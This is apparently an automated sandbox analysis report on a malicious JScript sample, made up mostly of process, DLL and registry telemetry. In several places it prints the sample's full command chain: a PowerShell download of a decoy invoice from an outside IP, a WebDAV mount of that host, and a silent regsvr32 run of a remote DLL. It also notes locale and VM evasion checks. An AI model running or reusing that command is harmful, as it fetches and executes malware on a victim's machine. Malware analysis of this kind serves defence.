Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\929.js.csv");ITextStream.WriteLine(" entry:7701 f:gtevewjmi");ITextStream.WriteLine(" exec:2 f:gtevewjmi");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5183			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4663			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7100	Thread sleep count: 5183 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7100	Thread sleep count: 4663 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6100	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6104	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6440	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7172	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1743532594.0000025BA9FAF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743532594.0000025BA9F48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2961289088.000001F147A5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2960098479.000001F14242B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1681684420.00000274332F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FilmVMware__

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
